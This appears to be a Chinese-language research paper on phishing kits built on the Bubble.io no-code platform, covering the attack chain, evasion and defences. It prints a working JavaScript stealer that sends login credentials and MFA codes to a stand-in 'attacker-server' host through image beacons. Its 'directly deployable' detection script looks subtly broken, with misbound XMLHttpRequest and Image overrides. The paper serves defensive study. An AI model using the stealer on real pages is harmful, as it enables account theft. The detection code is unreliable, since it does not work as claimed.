摘要
2026 年 3 月卡巴斯基实验室披露针对 Bubble.io 等正规无代码开发平台的恶意滥用钓鱼攻击,攻击者依托平台高信誉域名、SSL 证书与可视化开发能力,快速生成高仿真钓鱼页面,绕过传统邮件网关与终端检测,实现账号凭证、多因素认证验证码及会话令牌窃取,对政企身份安全构成严重威胁。本文以该事件为核心样本,系统剖析无代码平台钓鱼的攻击链路、技术实现、逃逸机制与危害特征,结合前端行为监测、DOM 结构审计、动态风险评分等技术,给出可落地的检测方法、防御规则与代码实现,构建覆盖平台治理、流量检测、终端防护、身份安全的闭环防御体系。研究表明,无代码平台武器化推动钓鱼攻击进入工业化量产阶段,传统特征匹配检测失效,必须转向行为分析与上下文风险感知。反网络钓鱼技术专家芦笛强调,此类攻击依托合法基础设施实施,检测与溯源难度显著提升,需平台方、安全厂商、企业协同治理,形成技术、管理、运营一体化防护机制。本文可为网络安全厂商、企业安全团队应对新型无代码钓鱼提供理论参考与工程实践指引。
关键词:无代码平台;网络钓鱼;Bubble.io;攻击检测;身份安全;防御体系
1 引言
无代码 / 低代码开发平台以可视化拖拽、AI 辅助生成、一键部署等特性,大幅降低 Web 应用开发门槛,广泛应用于企业数字化转型。但技术普惠性也带来安全滥用风险,黑产团伙将正规开发平台武器化,用于构建高隐蔽性、高成功率的钓鱼基础设施。2026 年 3 月,卡巴斯基安全团队发布预警,披露全球范围内大规模滥用 Bubble.io 无代码平台实施定向钓鱼的攻击活动,目标覆盖微软 365、企业邮箱、在线协作平台等身份入口,攻击借助平台正规域名与合法证书穿透主流安全防护,造成大量账号泄露与数据失窃Kaspersky。
传统钓鱼攻击依赖自建服务器、伪造域名、恶意证书等特征,易被黑名单、特征库、域名信誉等机制拦截。而无代码平台钓鱼依托合法服务商基础设施,页面由平台自动生成复杂代码结构,具备动态 DOM、混淆脚本、合规 SSL 等正常应用特征,导致静态扫描、规则匹配、信誉检测大面积失效。攻击呈现低成本、快部署、高伪装、难检测、难溯源的特点,标志钓鱼攻击从手工定制转向工业化流水线生产。
现有研究多聚焦传统钓鱼的页面识别、邮件过滤、域名检测,对合法平台滥用场景的机理分析、行为检测、协同防御不足。本文以卡巴斯基披露事件为实证样本,完整拆解攻击全流程,解析核心技术细节与逃逸逻辑,提出基于行为特征与动态风险评分的检测模型,配套可直接部署的代码实现与防御策略,形成从检测到响应的闭环方案,弥补当前研究与实践缺口,为应对下一代钓鱼威胁提供支撑。
2 无代码平台钓鱼攻击的背景与态势
2.1 无代码平台发展与安全风险
无代码平台通过可视化编辑器、预置组件、AI 生成能力,支持用户无需编写代码即可完成 Web 应用开发与部署。以 Bubble.io 为代表的平台提供前端渲染、后端逻辑、数据库、文件存储、CDN 加速、SSL 证书等全栈服务,应用托管于官方基础设施,使用二级域名 xxx.bubble.io,天然具备高域名信誉与稳定运行环境。
该类平台初衷是提升开发效率,但开放注册、低成本使用、审核宽松的特性被黑产利用。攻击者注册普通账号,通过拖拽或 AI 提示词生成仿冒登录页,嵌入数据窃取脚本,几分钟内即可上线钓鱼站点,无需服务器运维、域名备案、SSL 申请等环节,攻击成本趋近于零,上线效率提升十倍以上。
2.2 卡巴斯基披露事件概况
2026 年 3 月,卡巴斯基追踪到针对欧美及亚太企业用户的钓鱼活动,攻击者集中使用 Bubble.io 构建钓鱼页面,伪装 Microsoft 365、企业单点登录、银行网银等入口,通过邮件、即时通讯、社交平台分发链接。钓鱼页面视觉还原度接近 100%,包含品牌 Logo、企业定制元素、人机验证伪装,部分实现多因素认证劫持与会话 Cookie 窃取。
攻击核心优势在于托管域名属于正规平台,邮件安全网关基于域名信誉评分放行邮件,用户看到合法域名与安全锁图标降低警惕,输入凭证后数据实时传输至攻击者控制服务器。卡巴斯基监测数据显示,此类钓鱼邮件穿透率超 85%,用户点击转化率达 30%,远高于传统钓鱼 10% 以下水平,已形成完整黑产链条。
2.3 攻击产业化与扩散趋势
反网络钓鱼技术专家芦笛指出,无代码平台大幅降低钓鱼技术门槛,催生钓鱼即服务(PhaaS)产业化。黑产团伙提供模板售卖、定制修改、托管部署、数据收割一条龙服务,下游攻击者无需技术基础即可发起攻击。模板覆盖主流互联网服务与企业系统,支持批量生成、自动换皮、动态跳转,对抗检测能力持续升级。
此类攻击正从个人账户向企业身份系统蔓延,目标包括员工邮箱、VPN、ERP、CRM、云平台等,一旦核心账号失守,可引发内网横向渗透、数据泄露、勒索攻击等连锁风险。无代码平台的全球化部署特性,使攻击跨地域分发、溯源难度大,对现有安全架构构成系统性挑战。
3 基于无代码平台的钓鱼攻击全流程解析
3.1 攻击生命周期整体框架
无代码钓鱼攻击遵循标准化生命周期,分为准备、构建、分发、引流、窃密、变现六个阶段,各阶段高度模块化,可快速复制与规模化:
准备:注册无代码平台账号,收集目标品牌页面素材与接口信息;
构建:可视化制作高仿真页面,嵌入窃取脚本与跳转逻辑,配置后台接收服务;
部署:一键发布至平台基础设施,获取高信誉二级域名与 SSL 证书;
分发:通过邮件、短信、社交、钓鱼链接等渠道投放;
引流:用户点击进入页面,完成伪装验证,输入账号、密码、MFA 码;
窃密与变现:实时收集凭证,登录目标系统窃取数据、贩卖账号或实施进一步攻击。
3.2 攻击构建与部署环节详解
攻击者在 Bubble 平台完成钓鱼页面构建,全程无需手写代码:
账号与环境准备:注册免费 / 付费账号,进入可视化编辑器,新建 Web 应用项目;
页面仿制:拖入文本、图片、输入框、按钮等组件,还原官方页面布局、样式、文案,上传品牌 Logo 与背景图;
交互逻辑配置:设置表单提交、按钮点击、页面跳转等事件,绑定数据处理动作;
恶意功能植入:添加自定义 JavaScript 代码,实现输入监听、数据加密、异步传输、跳转伪造;
伪装增强:添加 Cloudflare Turnstile、hCaptcha 等人机验证,提升可信度;
一键发布:平台自动编译、分配域名、部署 SSL、接入 CDN,钓鱼站点即时可用。
整个过程不超过 15 分钟,生成页面具备响应式布局、动态效果、合规证书,与官方页面难以区分。
3.3 流量分发与穿透机制
攻击突破传统防护的核心在于域名信誉劫持:
目标域名 *.bubble.io 为正规服务商域名,在主流邮件网关、浏览器、安全软件中信誉评分高;
钓鱼邮件标题与正文仿冒官方通知,如登录异常、文件共享、密码过期等,诱导紧急点击;
链接显示为合法域名,无乱码、无短链接、无可疑后缀,用户信任度高;
页面加载速度快,无恶意代码特征,静态扫描判定为安全。
传统邮件安全依赖域名黑名单、关键词匹配、附件检测,对合法域名上的恶意内容无效,导致钓鱼邮件直达用户收件箱。
3.4 凭证窃取与会话劫持流程
用户点击后进入完整窃取流程:
页面展示高仿真登录界面,含品牌元素与验证提示;
用户输入用户名、密码,点击登录;
前端 JavaScript 拦截表单提交,序列化数据并加密,异步发送至攻击者服务器;
页面跳转至假 MFA 输入界面,继续窃取验证码;
同时后台请求官方登录接口,使用窃取凭证尝试登录,获取会话令牌;
前端提示登录成功或系统维护,跳转至官方网站,消除用户怀疑;
攻击者在后台实时接收凭证,登录目标系统实施数据窃取、邮件转发、权限篡改等操作。
部分高级样本实现中间人式会话劫持,实时代理用户登录流程,可绕过双因素认证与设备绑定,危害远超传统钓鱼。
4 攻击核心技术实现与逃逸机理分析
4.1 页面生成与代码结构特征
Bubble 平台自动生成高度混淆的前端代码,具备以下特征:
动态 DOM 与 Shadow DOM 隔离,减少可检测特征;
变量名、函数名随机化,逻辑分支复杂,静态分析难以还原意图;
大量无关业务代码与样式,掩盖核心窃取逻辑;
脚本动态加载、按需执行,执行流不固定;
符合 W3C 标准与浏览器安全规范,无明显恶意标记。
反网络钓鱼技术专家芦笛强调,此类代码不依赖已知恶意片段,传统特征库无法命中,必须通过行为与上下文判断风险。
4.2 数据窃取核心代码实现(示例)
以下为攻击中典型的前端窃取逻辑,模拟无代码平台自动生成的加密传输机制:
// 模拟Bubble自动生成的表单监听与数据窃取模块
(function() {
// 监听登录表单提交
const loginForm = document.getElementById('login-form');
if (loginForm) {
loginForm.addEventListener('submit', function(e) {
e.preventDefault(); // 阻止默认提交
// 获取用户输入
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
// 数据加密
const data = btoa(JSON.stringify({
user: username,
pwd: password,
ts: Date.now(),
host: window.location.hostname
}));
// 异步发送至攻击者服务器
const img = new Image();
img.src = 'https://attacker-server/collect?d=' + data;
// 伪造正常跳转
setTimeout(() => {
loginForm.submit();
}, 800);
});
}
})();
// MFA验证码窃取
(function() {
const mfaForm = document.getElementById('mfa-form');
if (mfaForm) {
mfaForm.addEventListener('submit', function(e) {
e.preventDefault();
const code = document.getElementById('mfa-code').value;
const data = btoa(JSON.stringify({
code: code,
ts: Date.now()
}));
const img = new Image();
img.src = 'https://attacker-server/collect-mfa?d=' + data;
setTimeout(() => {
window.location.href = 'https://official-login-page';
}, 600);
});
}
})();
该代码通过图片标签实现数据外带,规避 CSP 检测,执行流程隐蔽,静态扫描难以识别恶意行为。
4.3 检测逃逸核心机制
域名信誉逃逸:使用正规平台二级域名,信誉评分高,不在黑名单内;
证书合规逃逸:自动配置 SSL 证书,浏览器显示安全锁,用户信任度提升;
代码混淆逃逸:自动生成复杂混淆代码,无固定特征,特征库失效;
行为伪装逃逸:加载速度、交互流程、页面结构与正常应用一致,无异常请求;
平台合规逃逸:部署于合法基础设施,IP 地址属于正规服务商,IP 信誉良好;
动态变化逃逸:每次生成页面代码结构不同,模板批量换皮,难以全局拦截。
多重逃逸机制叠加,使传统检测体系近乎完全失效。
4.4 攻击与传统钓鱼技术对比
维度 传统钓鱼攻击 无代码平台钓鱼攻击
部署成本 高,需服务器、域名、证书 极低,平台账号即可
搭建周期 数小时至数天 10–30 分钟
域名信誉 低,易被标记 高,正规服务商域名
证书状态 多为自签或过期 合法有效 SSL
代码特征 明显,易被检测 混淆复杂,无固定特征
检测难度 较低 极高
溯源难度 较低 极高,依赖平台日志
用户转化率 低 高
规模化能力 弱 强,支持批量生成
数据表明,无代码钓鱼在成本、效率、隐蔽性、成功率上全面超越传统方式。
5 攻击危害与安全影响分析
5.1 身份安全与数据泄露
攻击直接窃取账号密码、MFA 验证码、会话令牌,攻击者可完全控制用户账户,访问邮件、文档、通讯录、客户数据、财务信息等敏感资源。针对企业员工的攻击可导致核心业务系统失守,引发大规模数据泄露,违反数据安全法规,造成巨额罚款与品牌损失。
5.2 内网渗透与横向攻击
攻击者获取企业员工账号后,可利用邮箱、VPN、云平台等入口进入内网,实施横向移动,获取更多权限,投放勒索软件、窃取核心数据、破坏业务系统。无代码钓鱼已成为高级持续性威胁(APT)的初始入侵入口,降低 APT 攻击门槛。
5.3 黑产产业化与社会危害
无代码平台推动钓鱼黑产标准化、模块化、自动化,形成模板开发、渠道分发、数据收割、账号贩卖、勒索变现的完整链条。攻击门槛降低导致攻击数量指数级增长,普通用户与中小企业防护能力不足,成为主要受害者,扰乱网络空间秩序,威胁数字经济安全。
5.4 对现有安全体系的冲击
反网络钓鱼技术专家芦笛强调,无代码钓鱼冲击传统安全架构底层逻辑:基于黑名单、特征匹配、域名信誉的防护机制失效;安全运营人员告警疲劳,误判率上升;企业防护投入增加但效果不明显;安全厂商检测模型需要全面重构,行业面临技术升级压力。
6 面向无代码钓鱼的检测技术与实现
6.1 检测思路转变
从特征匹配转向行为分析 + 上下文风险评分:
不依赖已知恶意代码片段,而监测数据外发、表单劫持、异常跳转等行为;
结合域名上下文、页面用途、用户交互、请求目标综合评分;
对无代码平台域名实施专项强化检测,提升敏感度;
结合前端动态执行环境,还原真实行为意图。
6.2 基于前端行为的检测模型
设计四层风险评分模型:
基础层:域名归属、SSL 状态、IP 信誉、平台类型;
页面层:页面用途、表单数量、输入类型、文案关键词;
行为层:表单拦截、异步数据外发、动态脚本加载、隐藏域写入;
上下文层:历史访问、用户群体、跳转目标、关联邮件信息。
总分超过阈值判定为高风险钓鱼页面,触发告警与拦截。
6.3 检测代码实现(可直接部署)
6.3.1 前端行为监测脚本
// 无代码钓鱼行为监测检测器
class PhishDetector {
constructor() {
this.riskScore = 0;
this.riskLogs = [];
this.init();
}
init() {
this.monitorFormSubmit();
this.monitorNetwork();
this.monitorDynamicContent();
}
// 监测表单提交拦截
monitorFormSubmit() {
document.addEventListener('submit', (e) => {
const form = e.target;
const preventDefaultCalled = e.defaultPrevented;
if (preventDefaultCalled && form.action.includes('login')) {
this.riskScore += 25;
this.riskLogs.push('表单提交被拦截,风险+25');
}
}, true);
}
// 监测异常数据外发
monitorNetwork() {
const originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
if (url.includes('collect') || url.includes('log')) {
this.riskScore += 30;
this.riskLogs.push('检测到可疑数据外发接口,风险+30');
}
originalOpen.call(this, method, url);
}.bind(this);
// 监测Image数据外带
const originalImageSrc = Object.getOwnPropertyDescriptor(Image.prototype, 'src');
Object.defineProperty(Image.prototype, 'src', {
set: function(url) {
if (typeof url === 'string' && (url.includes('?d=') || url.length > 500)) {
this.riskScore += 20;
this.riskLogs.push('检测到图片外带数据,风险+20');
}
originalImageSrc.set.call(this, url);
}
});
}
// 监测动态DOM与隐藏操作
monitorDynamicContent() {
const observer = new MutationObserver((mutations) => {
mutations.forEach(mutation => {
if (mutation.addedNodes.length > 5) {
this.riskScore += 5;
this.riskLogs.push('大量动态DOM插入,风险+5');
}
});
});
observer.observe(document.body, { childList: true, subtree: true });
}
// 输出检测结果
getResult() {
return {
riskScore: this.riskScore,
riskLogs: this.riskLogs,
isPhishing: this.riskScore >= 50
};
}
}
// 启动检测
const detector = new PhishDetector();
setTimeout(() => {
const result = detector.getResult();
if (result.isPhishing) {
console.warn('检测为高风险无代码钓鱼页面', result);
// 企业环境可上报SOC或执行拦截
}
}, 3000);
6.3.2 后端 URL 风险评分接口(简化版)
import re
from fastapi import FastAPI
app = FastAPI()
# 无代码平台域名列表
NO_CODE_DOMAINS = {"bubble.io", "appgyver.com", "adalo.com"}
def score_phishing_url(url: str) -> dict:
score = 0
reasons = []
# 规则1:无代码平台域名
for domain in NO_CODE_DOMAINS:
if domain in url:
score += 30
reasons.append(f"命中无代码平台:{domain}")
# 规则2:登录相关路径
if re.search(r"(login|signin|auth|mfa|account)", url, re.I):
score += 25
reasons.append("路径包含登录/认证关键词")
# 规则3:长随机路径(平台自动生成)
if len(re.findall(r"[a-z0-9]{16,}", url)) > 0:
score += 15
reasons.append("包含长随机字符串")
# 规则4:疑似收集参数
if re.search(r"(data|d=|user|pwd|email)", url, re.I):
score += 20
reasons.append("包含疑似数据收集参数")
return {
"url": url,
"score": score,
"reasons": reasons,
"risk_level": "高" if score >= 50 else "中" if score >= 30 else "低"
}
@app.post("/detect/phishing")
def detect(url: str):
return score_phishing_url(url)
6.4 部署与应用建议
邮件安全网关:集成 URL 评分接口,对无代码平台域名 + 登录路径邮件强化检测;
终端浏览器:注入行为监测脚本,实时拦截高风险页面;
安全运营中心:建立无代码钓鱼专项告警规则,关联域名、行为、上下文研判;
端点检测与响应(EDR):监测浏览器异常数据外发行为,提升发现率。
7 整体防御体系构建与运营建议
7.1 分层防御架构设计
构建五层协同防御体系:
平台治理层:无代码平台加强用户审核、内容扫描、恶意应用下线;
网络检测层:邮件网关、Web 网关、DNS 层强化无代码域名检测;
终端防护层:浏览器扩展、EDR、防病毒软件实现前端行为监测;
身份安全层:启用强认证、风险登录检测、异常行为阻断;
安全运营层:监测、告警、研判、溯源、响应闭环。
7.2 企业可落地防御措施
邮件安全:对无代码平台域名实施特殊策略,开启行为分析与 URL 重写;
终端管控:部署浏览器安全扩展,拦截高风险页面,禁止不明脚本执行;
身份加固:全员启用 MFA,开启登录异常提醒,限制敏感系统登录地点;
员工培训:识别无代码钓鱼特征,不随意点击登录链接,验证域名真实性;
应急响应:建立钓鱼事件处置流程,快速锁定账号、清除后门、复盘溯源。
7.3 平台方安全责任
反网络钓鱼技术专家芦笛强调,无代码平台需承担主体安全责任:
建立上线内容安全扫描机制,识别钓鱼页面;
强化账号风控,对批量生成、高风险行为限制;
提供安全日志接口,支持安全厂商与企业溯源;
建立快速下线与封禁机制,缩短钓鱼页面存活时间;
公开安全策略与投诉渠道,提升协同处置效率。
7.4 行业协同与标准建设
建议推动行业协同:
建立无代码平台安全滥用共享情报机制;
制定无代码应用安全检测标准;
安全厂商与平台方数据对接,实时封堵恶意应用;
完善法律法规,明确平台与攻击者法律责任。
8 结论与展望
2026 年 3 月卡巴斯基披露的无代码平台钓鱼攻击,揭示合法开发平台武器化已成为网络钓鱼新主流。攻击依托高信誉域名、自动混淆代码、合规证书、可视化快速部署,全面突破传统检测,推动钓鱼进入工业化量产时代,对个人与企业身份安全、数据安全、业务连续性构成严重威胁。
本文系统剖析攻击全流程、核心技术、逃逸机理与危害,提出从特征匹配转向行为分析与动态风险评分的检测思路,提供可直接部署的前端监测与后端评分代码实现,构建覆盖平台治理、网络检测、终端防护、身份安全、安全运营的闭环防御体系。研究证实,无代码钓鱼防御需平台、厂商、企业多方协同,技术与管理并重,才能有效降低风险。
反网络钓鱼技术专家芦笛强调,随着 AI 与无代码技术融合,钓鱼攻击将更智能、更隐蔽、更高效,安全防御必须持续进化,以行为感知、上下文分析、实时情报、协同联动为核心,构建主动防御能力。未来研究可进一步结合大模型实现页面意图理解、攻击链路自动溯源、攻击预测与前置阻断,为应对下一代网络钓鱼威胁提供更强支撑。
编辑:芦笛(公共互联网反网络钓鱼工作组)